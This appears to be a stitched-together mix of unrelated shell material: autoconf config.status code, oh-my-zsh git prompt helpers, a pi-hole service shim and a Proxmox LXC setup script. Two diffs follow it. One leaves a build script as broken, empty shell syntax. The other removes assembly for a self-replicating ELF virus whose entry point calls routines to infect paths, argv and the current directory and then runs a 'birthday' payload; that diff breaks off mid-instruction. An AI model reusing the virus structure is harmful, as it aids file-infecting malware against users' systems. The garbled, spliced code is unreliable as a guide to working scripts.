-/@[a-zA-Z_][a-zA-Z_0-9]*@/!b -s|@configure_input@|$ac_sed_conf_input|;t t -s&@top_builddir@&$ac_top_builddir_sub&;t t -s&@top_build_prefix@&$ac_top_build_prefix&;t t -s&@srcdir@&$ac_srcdir&;t t -s&@abs_srcdir@&$ac_abs_srcdir&;t t -s&@top_srcdir@&$ac_top_srcdir&;t t -s&@abs_top_srcdir@&$ac_abs_top_srcdir&;t t -s&@builddir@&$ac_builddir&;t t -s&@abs_builddir@&$ac_abs_builddir&;t t -s&@abs_top_builddir@&$ac_abs_top_builddir&;t t -s&@INSTALL@&$ac_INSTALL&;t t -s&@MKDIR_P@&$ac_MKDIR_P&;t t -$ac_datarootdir_hack -" -eval sed \"\$ac_sed_extra\" "$ac_file_inputs" | $AWK -f "$ac_tmp/subs.awk" \ - >$ac_tmp/out || as_fn_error $? "could not create $ac_file" "$LINENO" 5 - -test -z "$ac_datarootdir_hack$ac_datarootdir_seen" && - { ac_out=`sed -n '/\${datarootdir}/p' "$ac_tmp/out"`; test -n "$ac_out"; } && - { ac_out=`sed -n '/^[ ]*datarootdir[ ]*:*=/p' \ - "$ac_tmp/out"`; test -z "$ac_out"; } && - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file contains a reference to the variable \`datarootdir' -which seems to be undefined. Please make sure it is defined" >&5 -printf "%s\n" "$as_me: WARNING: $ac_file contains a reference to the variable \`datarootdir' -which seems to be undefined. Please make sure it is defined" >&2;} - - rm -f "$ac_tmp/stdin" - case $ac_file in - -) cat "$ac_tmp/out" && rm -f "$ac_tmp/out";; - *) rm -f "$ac_file" && mv "$ac_tmp/out" "$ac_file";; - esac \ - || as_fn_error $? "could not create $ac_file" "$LINENO" 5 - ;; - :H) - # - # CONFIG_HEADER - # - if test x"$ac_file" != x-; then - { - printf "%s\n" "/* $configure_input */" >&1 \ - && eval '$AWK -f "$ac_tmp/defines.awk"' "$ac_file_inputs" - } >"$ac_tmp/config.h" \ - || as_fn_error $? "could not create $ac_file" "$LINENO" 5 - if diff "$ac_file" "$ac_tmp/config.h" >/dev/null 2>&1; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: $ac_file is unchanged" >&5 -printf "%s\n" "$as_me: $ac_file is unchanged" >&6;} - else - rm -f "$ac_file" - mv "$ac_tmp/config.h" "$ac_file" \ - || as_fn_error $? "could not create $ac_file" "$LINENO" 5 - fi - else - printf "%s\n" "/* $configure_input */" >&1 \ - && eval '$AWK -f "$ac_tmp/defines.awk"' "$ac_file_inputs" \ - || as_fn_error $? "could not create -" "$LINENO" 5 - fi -# Compute "$ac_file"'s index in $config_headers. -_am_arg="$ac_file" -_am_stamp_count=1 -for _am_header in $config_headers :; do - case $_am_header in - $_am_arg | $_am_arg:* ) - break ;; - * ) - _am_stamp_count=`expr $_am_stamp_count + 1` ;; - esac -done -echo "timestamp for $_am_arg" >`$as_dirname -- "$_am_arg" || -$as_expr X"$_am_arg" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ - X"$_am_arg" : 'X\(//\)[^/]' \| \ - X"$_am_arg" : 'X\(//\)$' \| \ - X"$_am_arg" : 'X\(/\)' \| . 2>/dev/null || -printf "%s\n" X"$_am_arg" | - sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ - s//\1/ - q - } - /^X\(\/\/\)[^/].*/{ - s//\1/ - q - } - /^X\(\/\/\)$/{ - s//\1/ - q - } - /^X\(\/\).*/{ - s//\1/ - q - } - s/.*/./; q'`/stamp-h$_am_stamp_count - ;; - - :C) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: executing $ac_file commands" >&5 -printf "%s\n" "$as_me: executing $ac_file commands" >&6;} - ;; - esac - - - case $ac_file$ac_mode in - "depfiles":C) test x"$AMDEP_TRUE" != x"" || { - # Older Autoconf quotes --file arguments for eval, but not when files - # are listed without --file. Let's play safe and only enable the eval - # if we detect the quoting. - # TODO: see whether this extra hack can be removed once we start - # requiring Autoconf 2.70 or later. - case $CONFIG_FILES in #( - *\'*) : - eval set x "$CONFIG_FILES" ;; #( - *) : - set x $CONFIG_FILES ;; #( - *) : - ;; -esac - shift - # Used to flag and report bootstrapping failures. - am_rc=0 - for am_mf - do - # Strip MF so we end up with the name of the file. - am_mf=`printf "%s\n" "$am_mf" | sed -e 's/:.*$//'` - # Check whether this is an Automake generated Makefile which includes - # dependency-tracking related rules and includes. - # Grep'ing the whole file directly is not great: AIX grep has a line - # limit of 2048, but all sed's we know have understand at least 4000. - sed -n 's,^am--depfiles:.*,X,p' "$am_mf" | grep X >/dev/null 2>&1 \ - || continue - am_dirpart=`$as_dirname -- "$am_mf" || -$as_expr X"$am_mf" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ - X"$am_mf" : 'X\(//\)[^/]' \| \ - X"$am_mf" : 'X\(//\)$' \| \ - X"$am_mf" : 'X\(/\)' \| . 2>/dev/null || -printf "%s\n" X"$am_mf" | - sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ - s//\1/ - q - } - /^X\(\/\/\)[^/].*/{ - s//\1/ - q - } - /^X\(\/\/\)$/{ - s//\1/ - q - } - /^X\(\/\).*/{ - s//\1/ - q - } - s/.*/./; q'` - am_filepart=`$as_basename -- "$am_mf" || -$as_expr X/"$am_mf" : '.*/\([^/][^/]*\)/*$' \| \ - X"$am_mf" : 'X\(//\)$' \| \ - X"$am_mf" : 'X\(/\)' \| . 2>/dev/null || -printf "%s\n" X/"$am_mf" | - sed '/^.*\/\([^/][^/]*\)\/*$/{ - s//\1/ - q - } - /^X\/\(\/\/\)$/{ - s//\1/ - q - } - /^X\/\(\/\).*/{ - s//\1/ - q - } - s/.*/./; q'` - { echo "$as_me:$LINENO: cd "$am_dirpart" \ - && sed -e '/# am--include-marker/d' "$am_filepart" \ - | $MAKE -f - am--depfiles" >&5 - (cd "$am_dirpart" \ - && sed -e '/# am--include-marker/d' "$am_filepart" \ - | $MAKE -f - am--depfiles) >&5 2>&5 - ac_status=$? - echo "$as_me:$LINENO: \$? = $ac_status" >&5 - (exit $ac_status); } || am_rc=$? - done - if test $am_rc -ne 0; then - { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 -printf "%s\n" "$as_me: error: in \`$ac_pwd':" >&2;} -as_fn_error $? "Something went wrong bootstrapping makefile fragments - for automatic dependency tracking. If GNU make was not used, consider - re-running the configure script with MAKE=\"gmake\" (or whatever is - necessary). You can also try re-running configure with the - '--disable-dependency-tracking' option to at least be able to build - the package (albeit without support for automatic dependency tracking). -See \`config.log' for more details" "$LINENO" 5; } - fi - { am_dirpart=; unset am_dirpart;} - { am_filepart=; unset am_filepart;} - { am_mf=; unset am_mf;} - { am_rc=; unset am_rc;} - rm -f conftest-deps.mk -} - ;; - - esac -done # for ac_tag - - -as_fn_exit 0 -_ACEOF -ac_clean_files=$ac_clean_files_save - -test $ac_write_fail = 0 || - as_fn_error $? "write failure creating $CONFIG_STATUS" "$LINENO" 5 - - -# configure is writing to config.log, and then calls config.status. -# config.status does its own redirection, appending to config.log. -# Unfortunately, on DOS this fails, as config.log is still kept open -# by configure, so config.status won't be able to write to it; its -# output is simply discarded. So we exec the FD to /dev/null, -# effectively closing config.log, so it can be properly (re)opened and -# appended to by config.status. When coming back to configure, we -# need to make the FD available again. -if test "$no_create" != yes; then - ac_cs_success=: - ac_config_status_args= - test "$silent" = yes && - ac_config_status_args="$ac_config_status_args --quiet" - exec 5>/dev/null - $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false - exec 5>>config.log - # Use ||, not &&, to avoid exiting from the if with $? = 1, which - # would make configure fail if this is the last instruction. - $ac_cs_success || as_fn_exit 1 -fi -if test -n "$ac_unrecognized_opts" && test "$enable_option_checking" != no; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: unrecognized options: $ac_unrecognized_opts" >&5 -printf "%s\n" "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2;} -fi - - -./gen_assets.sh - - -# The git prompt's git commands are read-only and should not interfere with -# other processes. This environment variable is equivalent to running with `git -# --no-optional-locks`, but falls back gracefully for older versions of git. -# See git(1) for and git-status(1) for a description of that flag. -# -# We wrap in a local function instead of exporting the variable directly in -# order to avoid interfering with manually-run git commands by the user. -function __git_prompt_git() { - GIT_OPTIONAL_LOCKS=0 command git "$@" -} - -function git_prompt_info() { - # If we are on a folder not tracked by git, get out. - # Otherwise, check for hide-info at global and local repository level - if ! __git_prompt_git rev-parse --git-dir &> /dev/null \ - || [[ "$(__git_prompt_git config --get oh-my-zsh.hide-info 2>/dev/null)" == 1 ]]; then - return 0 - fi - - local ref - ref=$(__git_prompt_git symbolic-ref --short HEAD 2> /dev/null) \ - || ref=$(__git_prompt_git describe --tags --exact-match HEAD 2> /dev/null) \ - || ref=$(__git_prompt_git rev-parse --short HEAD 2> /dev/null) \ - || return 0 - - # Use global ZSH_THEME_GIT_SHOW_UPSTREAM=1 for including upstream remote info - local upstream - if (( ${+ZSH_THEME_GIT_SHOW_UPSTREAM} )); then - upstream=$(__git_prompt_git rev-parse --abbrev-ref --symbolic-full-name "@{upstream}" 2>/dev/null) \ - && upstream=" -> ${upstream}" - fi - - echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref:gs/%/%%}${upstream:gs/%/%%}$(parse_git_dirty)${ZSH_THEME_GIT_PROMPT_SUFFIX}" -} - -# Checks if working tree is dirty -function parse_git_dirty() { - local STATUS - local -a FLAGS - FLAGS=('--porcelain') - if [[ "$(__git_prompt_git config --get oh-my-zsh.hide-dirty)" != "1" ]]; then - if [[ "${DISABLE_UNTRACKED_FILES_DIRTY:-}" == "true" ]]; then - FLAGS+='--untracked-files=no' - fi - case "${GIT_STATUS_IGNORE_SUBMODULES:-}" in - git) - # let git decide (this respects per-repo config in .gitmodules) - ;; - *) - # if unset: ignore dirty submodules - # other values are passed to --ignore-submodules - FLAGS+="--ignore-submodules=${GIT_STATUS_IGNORE_SUBMODULES:-dirty}" - ;; - esac - STATUS=$(__git_prompt_git status ${FLAGS} 2> /dev/null | tail -n 1) - fi - if [[ -n $STATUS ]]; then - echo "$ZSH_THEME_GIT_PROMPT_DIRTY" - else - echo "$ZSH_THEME_GIT_PROMPT_CLEAN" - fi -} - -# Gets the difference between the local and remote branches -function git_remote_status() { - local remote ahead behind git_remote_status git_remote_status_detailed - remote=${$(__git_prompt_git rev-parse --verify ${hook_com[branch]}@{upstream} --symbolic-full-name 2>/dev/null)/refs\/remotes\/} - if [[ -n ${remote} ]]; then - ahead=$(__git_prompt_git rev-list ${hook_com[branch]}@{upstream}..HEAD 2>/dev/null | wc -l) - behind=$(__git_prompt_git rev-list HEAD..${hook_com[branch]}@{upstream} 2>/dev/null | wc -l) - - if [[ $ahead -eq 0 ]] && [[ $behind -eq 0 ]]; then - git_remote_status="$ZSH_THEME_GIT_PROMPT_EQUAL_REMOTE" - elif [[ $ahead -gt 0 ]] && [[ $behind -eq 0 ]]; then - git_remote_status="$ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE" - git_remote_status_detailed="$ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE_COLOR$ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE$((ahead))%{$reset_color%}" - elif [[ $behind -gt 0 ]] && [[ $ahead -eq 0 ]]; then - git_remote_status="$ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE" - git_remote_status_detailed="$ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE_COLOR$ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE$((behind))%{$reset_color%}" - elif [[ $ahead -gt 0 ]] && [[ $behind -gt 0 ]]; then - git_remote_status="$ZSH_THEME_GIT_PROMPT_DIVERGED_REMOTE" - git_remote_status_detailed="$ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE_COLOR$ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE$((ahead))%{$reset_color%}$ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE_COLOR$ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE$((behind))%{$reset_color%}" - fi - - if [[ -n $ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_DETAILED ]]; then - git_remote_status="$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_PREFIX${remote:gs/%/%%}$git_remote_status_detailed$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_SUFFIX" - fi - - echo $git_remote_status - fi -} - -# Outputs the name of the current branch -# Usage example: git pull origin $(git_current_branch) -# Using '--quiet' with 'symbolic-ref' will not cause a fatal error (128) if -# it's not a symbolic ref, but in a Git repo. -function git_current_branch() { - local ref - ref=$(__git_prompt_git symbolic-ref --quiet HEAD 2> /dev/null) - local ret=$? - if [[ $ret != 0 ]]; then - [[ $ret == 128 ]] && return # no git repo. - ref=$(__git_prompt_git rev-parse --short HEAD 2> /dev/null) || return - fi - echo ${ref#refs/heads/} -} - - -# Gets the number of commits ahead from remote -function git_commits_ahead() { - if __git_prompt_git rev-parse --git-dir &>/dev/null; then - local commits="$(__git_prompt_git rev-list --count @{upstream}..HEAD 2>/dev/null)" - if [[ -n "$commits" && "$commits" != 0 ]]; then - echo "$ZSH_THEME_GIT_COMMITS_AHEAD_PREFIX$commits$ZSH_THEME_GIT_COMMITS_AHEAD_SUFFIX" - fi - fi -} - -# Gets the number of commits behind remote -function git_commits_behind() { - if __git_prompt_git rev-parse --git-dir &>/dev/null; then - local commits="$(__git_prompt_git rev-list --count HEAD..@{upstream} 2>/dev/null)" - if [[ -n "$commits" && "$commits" != 0 ]]; then - echo "$ZSH_THEME_GIT_COMMITS_BEHIND_PREFIX$commits$ZSH_THEME_GIT_COMMITS_BEHIND_SUFFIX" - fi - fi -} - -# Outputs if current branch is ahead of remote -function git_prompt_ahead() { - if [[ -n "$(__git_prompt_git rev-list origin/$(git_current_branch)..HEAD 2> /dev/null)" ]]; then - echo "$ZSH_THEME_GIT_PROMPT_AHEAD" - fi -} - -# Outputs if current branch is behind remote -function git_prompt_behind() { - if [[ -n "$(__git_prompt_git rev-list HEAD..origin/$(git_current_branch) 2> /dev/null)" ]]; then - echo "$ZSH_THEME_GIT_PROMPT_BEHIND" - fi -} - -# Outputs if current branch exists on remote or not -function git_prompt_remote() { - if [[ -n "$(__git_prompt_git show-ref origin/$(git_current_branch) 2> /dev/null)" ]]; then - echo "$ZSH_THEME_GIT_PROMPT_REMOTE_EXISTS" - else - echo "$ZSH_THEME_GIT_PROMPT_REMOTE_MISSING" - fi -} - -# Formats prompt string for current git commit short SHA -function git_prompt_short_sha() { - local SHA - SHA=$(__git_prompt_git rev-parse --short HEAD 2> /dev/null) && echo "$ZSH_THEME_GIT_PROMPT_SHA_BEFORE$SHA$ZSH_THEME_GIT_PROMPT_SHA_AFTER" -} - -# Formats prompt string for current git commit long SHA -function git_prompt_long_sha() { - local SHA - SHA=$(__git_prompt_git rev-parse HEAD 2> /dev/null) && echo "$ZSH_THEME_GIT_PROMPT_SHA_BEFORE$SHA$ZSH_THEME_GIT_PROMPT_SHA_AFTER" -} - -function git_prompt_status() { - [[ "$(__git_prompt_git config --get oh-my-zsh.hide-status 2>/dev/null)" = 1 ]] && return - - # Maps a git status prefix to an internal constant - # This cannot use the prompt constants, as they may be empty - local -A prefix_constant_map - prefix_constant_map=( - '\?\? ' 'UNTRACKED' - 'A ' 'ADDED' - 'M ' 'ADDED' - 'MM ' 'MODIFIED' - ' M ' 'MODIFIED' - 'AM ' 'MODIFIED' - ' T ' 'MODIFIED' - 'R ' 'RENAMED' - ' D ' 'DELETED' - 'D ' 'DELETED' - 'UU ' 'UNMERGED' - 'ahead' 'AHEAD' - 'behind' 'BEHIND' - 'diverged' 'DIVERGED' - 'stashed' 'STASHED' - ) - - # Maps the internal constant to the prompt theme - local -A constant_prompt_map - constant_prompt_map=( - 'UNTRACKED' "$ZSH_THEME_GIT_PROMPT_UNTRACKED" - 'ADDED' "$ZSH_THEME_GIT_PROMPT_ADDED" - 'MODIFIED' "$ZSH_THEME_GIT_PROMPT_MODIFIED" - 'RENAMED' "$ZSH_THEME_GIT_PROMPT_RENAMED" - 'DELETED' "$ZSH_THEME_GIT_PROMPT_DELETED" - 'UNMERGED' "$ZSH_THEME_GIT_PROMPT_UNMERGED" - 'AHEAD' "$ZSH_THEME_GIT_PROMPT_AHEAD" - 'BEHIND' "$ZSH_THEME_GIT_PROMPT_BEHIND" - 'DIVERGED' "$ZSH_THEME_GIT_PROMPT_DIVERGED" - 'STASHED' "$ZSH_THEME_GIT_PROMPT_STASHED" - ) - - # The order that the prompt displays should be added to the prompt - local status_constants - status_constants=( - UNTRACKED ADDED MODIFIED RENAMED DELETED - STASHED UNMERGED AHEAD BEHIND DIVERGED - ) - - local status_text - status_text="$(__git_prompt_git status --porcelain -b 2> /dev/null)" - - # Don't continue on a catastrophic failure - if [[ $? -eq 128 ]]; then - return 1 - fi - - # A lookup table of each git status encountered - local -A statuses_seen - - if __git_prompt_git rev-parse --verify refs/stash &>/dev/null; then - statuses_seen[STASHED]=1 - fi - - local status_lines - status_lines=("${(@f)${status_text}}") - - # If the tracking line exists, get and parse it - if [[ "$status_lines[1]" =~ "^## [^ ]+ \[(.*)\]" ]]; then - local branch_statuses - branch_statuses=("${(@s/,/)match}") - for branch_status in $branch_statuses; do - if [[ ! $branch_status =~ "(behind|diverged|ahead) ([0-9]+)?" ]]; then - continue - fi - local last_parsed_status=$prefix_constant_map[$match[1]] - statuses_seen[$last_parsed_status]=$match[2] - done - fi - - # For each status prefix, do a regex comparison - for status_prefix in ${(k)prefix_constant_map}; do - local status_constant="${prefix_constant_map[$status_prefix]}" - local status_regex=$'(^|\n)'"$status_prefix" - - if [[ "$status_text" =~ $status_regex ]]; then - statuses_seen[$status_constant]=1 - fi - done - - # Display the seen statuses in the order specified - local status_prompt - for status_constant in $status_constants; do - if (( ${+statuses_seen[$status_constant]} )); then - local next_display=$constant_prompt_map[$status_constant] - status_prompt="$next_display$status_prompt" - fi - done - - echo $status_prompt -} - -# Outputs the name of the current user -# Usage example: $(git_current_user_name) -function git_current_user_name() { - __git_prompt_git config user.name 2>/dev/null -} - -# Outputs the email of the current user -# Usage example: $(git_current_user_email) -function git_current_user_email() { - __git_prompt_git config user.email 2>/dev/null -} - -# Output the name of the root directory of the git repository -# Usage example: $(git_repo_name) -function git_repo_name() { - local repo_path - if repo_path="$(__git_prompt_git rev-parse --show-toplevel 2>/dev/null)" && [[ -n "$repo_path" ]]; then - echo ${repo_path:t} - fi -} - -# A script to make using 256 colors in zsh less painful. -# P.C. Shyamshankar -# Copied from https://github.com/sykora/etc/blob/master/zsh/functions/spectrum/ - -typeset -AHg FX FG BG - -FX=( - reset "%{%}" - bold "%{%}" no-bold "%{%}" - italic "%{%}" no-italic "%{%}" - underline "%{%}" no-underline "%{%}" - blink "%{%}" no-blink "%{%}" - reverse "%{%}" no-reverse "%{%}" -) - -for color in {000..255}; do - FG[$color]="%{[38;5;${color}m%}" - BG[$color]="%{[48;5;${color}m%}" -done - -# Show all 256 colors with color number -function spectrum_ls() { - setopt localoptions nopromptsubst - local ZSH_SPECTRUM_TEXT=${ZSH_SPECTRUM_TEXT:-Arma virumque cano Troiae qui primus ab oris} - for code in {000..255}; do - print -P -- "$code: ${FG[$code]}${ZSH_SPECTRUM_TEXT}%{$reset_color%}" - done -} - -# Show all 256 colors where the background is set to specific color -function spectrum_bls() { - setopt localoptions nopromptsubst - local ZSH_SPECTRUM_TEXT=${ZSH_SPECTRUM_TEXT:-Arma virumque cano Troiae qui primus ab oris} - for code in {000..255}; do - print -P -- "$code: ${BG[$code]}${ZSH_SPECTRUM_TEXT}%{$reset_color%}" - done -} - - -#!/bin/bash -# This script patches all service commands into the appropriate s6- commands -# pi-hole upstream scripts need a 'service' interface. why not systemd? docker said so. - -start() { - restart -} - -stop() { - /command/s6-svc -wD -d -T2500 /run/service/"$service" -} - -restart() { - local pid - - # Get the PID(s) of the service we are asking to restart - mapfile -t pids < <(pgrep "$service") - - # Only attempt to stop the service if it is already running - if [ "${#pids[@]}" -gt 0 ]; then - stop - - for pid in "${pids[@]}"; do - # Loop until we are certain that the process has been stopped - while test -d /proc/"$pid"; do - sleep 0.2 - done - done - fi - - # Check it hasn't been started by something else in the meantime - pid=$(pgrep "$service") - - # Only attempt to start the service if it is not already running - if [ -z "$pid" ]; then - /command/s6-svc -wu -u -T2500 /run/service/"$service" - fi - -} - -status() { - /command/s6-svstat /run/service/"$service" -} - -service="$1" -command="$2" - -if [[ ! -d "/run/service/$service" ]] ; then - echo "s6 service not found for $service, exiting..." - exit -fi; - -${command} "${service}" - -#!/usr/bin/env bash -# Copyright (c) 2021-2023 tteck -# Author: tteck (tteckster) -# License: MIT -# https://github.com/tteck/Proxmox/raw/main/LICENSE - -function header_info { - clear - cat <<"EOF" - ______ __ __ __ _ _______ -/_ __/_ _________ / //_/__ __ __ / / | |/_/ ___/ - / / / // / __/ _ \/ ,< / -_) // / / /___> &2 - [ ! -z ${CTID-} ] && cleanup_ctid - exit $EXIT -} -function warn() { - local REASON="\e[97m$1\e[39m" - local FLAG="\e[93m[WARNING]\e[39m" - msg "$FLAG $REASON" -} -function info() { - local REASON="$1" - local FLAG="\e[36m[INFO]\e[39m" - msg "$FLAG $REASON" -} -function msg() { - local TEXT="$1" - echo -e "$TEXT" -} -function cleanup_ctid() { - if pct status $CTID &>/dev/null; then - if [ "$(pct status $CTID | awk '{print $2}')" == "running" ]; then - pct stop $CTID - fi - pct destroy $CTID - fi -} - -# Stop Proxmox VE Monitor-All if running -if systemctl is-active -q ping-instances.service; then - systemctl stop ping-instances.service -fi -header_info -whiptail --backtitle "Proxmox VE Helper Scripts" --title "TurnKey LXCs" --yesno "This will allow for the creation of one of the many TurnKey LXC Containers. Proceed?" 10 68 || exit -TURNKEY_MENU=() -MSG_MAX_LENGTH=0 -while read -r TAG ITEM; do - OFFSET=2 - ((${#ITEM} + OFFSET > MSG_MAX_LENGTH)) && MSG_MAX_LENGTH=${#ITEM}+OFFSET - TURNKEY_MENU+=("$TAG" "$ITEM " "OFF") -done < <( - cat <&1 1>&2 2>&3 | tr -d '"') || exit -[ -z "$turnkey" ] && { - whiptail --backtitle "Proxmox VE Helper Scripts" --title "No TurnKey LXC Selected" --msgbox "It appears that no TurnKey LXC container was selected" 10 68 - msg "Done" - exit -} - -# Setup script environment -PASS="$(openssl rand -base64 8)" -CTID=$(pvesh get /cluster/nextid) -TEMPLATE_SEARCH="debian-11-turnkey-${turnkey}" -PCT_OPTIONS=" - -features keyctl=1,nesting=1 - -hostname turnkey-${turnkey} - -tags proxmox-helper-scripts - -onboot 1 - -cores 2 - -memory 2048 - -password $PASS - -net0 name=eth0,bridge=vmbr0,ip=dhcp - -unprivileged 1 - " -DEFAULT_PCT_OPTIONS=( - -arch $(dpkg --print-architecture) -) - -# Set the CONTENT and CONTENT_LABEL variables -function select_storage() { - local CLASS=$1 - local CONTENT - local CONTENT_LABEL - case $CLASS in - container) - CONTENT='rootdir' - CONTENT_LABEL='Container' - ;; - template) - CONTENT='vztmpl' - CONTENT_LABEL='Container template' - ;; - *) false || die "Invalid storage class." ;; - esac - - # Query all storage locations - local -a MENU - while read -r line; do - local TAG=$(echo $line | awk '{print $1}') - local TYPE=$(echo $line | awk '{printf "%-10s", $2}') - local FREE=$(echo $line | numfmt --field 4-6 --from-unit=K --to=iec --format %.2f | awk '{printf( "%9sB", $6)}') - local ITEM=" Type: $TYPE Free: $FREE " - local OFFSET=2 - if [[ $((${#ITEM} + $OFFSET)) -gt ${MSG_MAX_LENGTH:-} ]]; then - local MSG_MAX_LENGTH=$((${#ITEM} + $OFFSET)) - fi - MENU+=("$TAG" "$ITEM" "OFF") - done < <(pvesm status -content $CONTENT | awk 'NR>1') - - # Select storage location - if [ $((${#MENU[@]} / 3)) -eq 0 ]; then - warn "'$CONTENT_LABEL' needs to be selected for at least one storage location." - die "Unable to detect valid storage location." - elif [ $((${#MENU[@]} / 3)) -eq 1 ]; then - printf ${MENU[0]} - else - local STORAGE - while [ -z "${STORAGE:+x}" ]; do - STORAGE=$(whiptail --backtitle "Proxmox VE Helper Scripts" --title "Storage Pools" --radiolist \ - "Which storage pool you would like to use for the ${CONTENT_LABEL,,}?\n\n" \ - 16 $(($MSG_MAX_LENGTH + 23)) 6 \ - "${MENU[@]}" 3>&1 1>&2 2>&3) || die "Menu aborted." - done - printf $STORAGE - fi -} - -# Get template storage -TEMPLATE_STORAGE=$(select_storage template) || exit -info "Using '$TEMPLATE_STORAGE' for template storage." - -# Get container storage -CONTAINER_STORAGE=$(select_storage container) || exit -info "Using '$CONTAINER_STORAGE' for container storage." - -# Update LXC template list -msg "Updating LXC template list..." -pveam update >/dev/null - -# Get LXC template string -mapfile -t TEMPLATES < <(pveam available -section turnkeylinux | sed -n "s/.*\($TEMPLATE_SEARCH.*\)/\1/p" | sort -t - -k 2 -V) -[ ${#TEMPLATES[@]} -gt 0 ] || die "Unable to find a template when searching for '$TEMPLATE_SEARCH'." -TEMPLATE="${TEMPLATES[-1]}" - -# Download LXC template -if ! pveam list $TEMPLATE_STORAGE | grep -q $TEMPLATE; then - msg "Downloading LXC template (Patience)..." - pveam download $TEMPLATE_STORAGE $TEMPLATE >/dev/null || - die "A problem occured while downloading the LXC template." -fi - -# Create variable for 'pct' options -PCT_OPTIONS=(${PCT_OPTIONS[@]:-${DEFAULT_PCT_OPTIONS[@]}}) -[[ " ${PCT_OPTIONS[@]} " =~ " -rootfs " ]] || PCT_OPTIONS+=(-rootfs $CONTAINER_STORAGE:${PCT_DISK_SIZE:-8}) - -# Create LXC -msg "Creating LXC container..." -pct create $CTID ${TEMPLATE_STORAGE}:vztmpl/${TEMPLATE} ${PCT_OPTIONS[@]} >/dev/null || - die "A problem occured while trying to create container." - -# Save password -echo "TurnKey ${turnkey} password: ${PASS}" >>~/turnkey-${turnkey}.creds # file is located in the Proxmox root directory - -# Start container -msg "Starting LXC Container..." -pct start "$CTID" -sleep 5 - -# Get container IP -set +e -max_attempts=5 -attempt=1 -IP="" -while [[ $attempt -le $max_attempts ]]; do - IP=$(pct exec $CTID ip a show dev eth0 | grep -oP 'inet \K[^/]+') - if [[ -n $IP ]]; then - break - else - warn "Attempt $attempt: IP address not found. Pausing for 5 seconds..." - sleep 5 - ((attempt++)) - fi -done - -if [[ -z $IP ]]; then - warn "Maximum number of attempts reached. IP address not found." - IP="NOT FOUND" -fi - -set -e -# Start Proxmox VE Monitor-All if available -if [[ -f /etc/systemd/system/ping-instances.service ]]; then - systemctl start ping-instances.service -fi - -# Success message -header_info +cat echo setopt alias bc python3 python perl sed grep diff cmp \ + test expr mkdir touch chmod rm mv cp ln mkdir echo -info "LXC container '$CTID' was successfully created, and its IP address is ${IP}." -echo -info "Proceed to the LXC console to complete the setup." -echo -info "login: root" -info "password: $PASS" -echo - -if [ -d esologs ]; then - cd esologs && git pull && cd .. +if [ -d ]; then + cd && git pull && cd .. else - git clone --depth 1 https://github.com/kspalaiologos/esologs - echo ".slug" >> esologs/.gitignore - echo ".md5" >> esologs/.gitignore - md5sum < `basename $0` > esologs/a.md5 + git clone --depth 1 fi -# Invalidate cache if it was built with another version of the script. -md5sum < `basename $0` > esologs/b.md5 - -if ! diff esologs/a.md5 esologs/b.md5 >/dev/null 2>&1; then - echo " [-] Cache miss."; - rm -f esologs/a.md5 - cp esologs/b.md5 esologs/a.md5 - rm -f esologs/b.md5 esologs/*.slug +if ! diff >/dev/null 2>&1; then else - echo " [+] Cache hit."; fi - -rm -f esologs/actual_md5.slug - -cd esologs - -# Process all the files; build the slug files. - pids=() - for f in *.txt; do if [ ! -f "$f.slug" ]; then process $f & pids[${#pids[@]}]=$! else - echo " [!] Already cached: $f" fi done - -# Synchronize the operation. - for pid in ${pids[*]}; do - echo " [~] Waiting for $pid." wait $pid -done - -# Concat all slugs into ../data.slug, read by the markov chain -# node.js script. - -cat *.slug > ../data.slug \ No newline at end of file +done \ No newline at end of file diff --git a/ref_x64 b/ref_x64 index 2e2fc5b..d644bef 100644 --- a/ref_x64 +++ b/ref_x64 @@ -1,45 +1,7 @@ format ELF64 executable use64 - -; XXX: You have to set this to the resulting ELF file size manually. -SIZE equ 1434 - -; XXX: You have to set this to the position of the "palaiologos" string -; in the binary yourself. -SENTINEL_LOC equ 120 - -sys_execve equ 59 -sys_open equ 2 -sys_lseek equ 8 -sys_memfd_create equ 319 -sys_sendfile equ 40 -sys_close equ 3 -sys_exit equ 60 -sys_getdents equ 78 -sys_access equ 21 -sys_stat equ 4 -sys_chmod equ 90 - entry _start - -sentinel: db 'palaiologos',0 -memfd_path: db '/proc/self/fd/',0,0 -self: db '/proc/self/exe' -snddev: db "/dev/dsp1", 0 -pathsep: db "/", 0 -empty: db 0 -size: dq SIZE -seed: dq 0 -ldays: - dd -1, 30, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 -days: - dd -1, 30, 58, 89, 119, 150, 180, 211, 242, 272, 303, 333, 364 - -LCG_A equ 1103515245 -LCG_B equ 12345 - load_elf: - ; Open ourselves. xor esi, esi mov edi, self push sys_open @@ -78,820 +40,6 @@ load_elf: add r9d, 48 mov BYTE [memfd_path + 14], r9b ret - -; The entry point. -_start: - ; Load the executable to a memfd. - call load_elf - ; Load the argp for the first payload. - mov rdi, [rsp] - lea rdi, [rsp + 8 + rdi * 8 + 8] - call infect_path - ; Load the argv for the second payload. - lea rbx, [rsp + 8] - call infect_argv - ; Infect the current directory as the third payload. - call infect_selfdir - ; Call the final birthday payload. - call birthday - ; Load the path to the executable - mov rdi, memfd_path - ; Prepare to call execve - ; Load argc + argv - lea rsi, 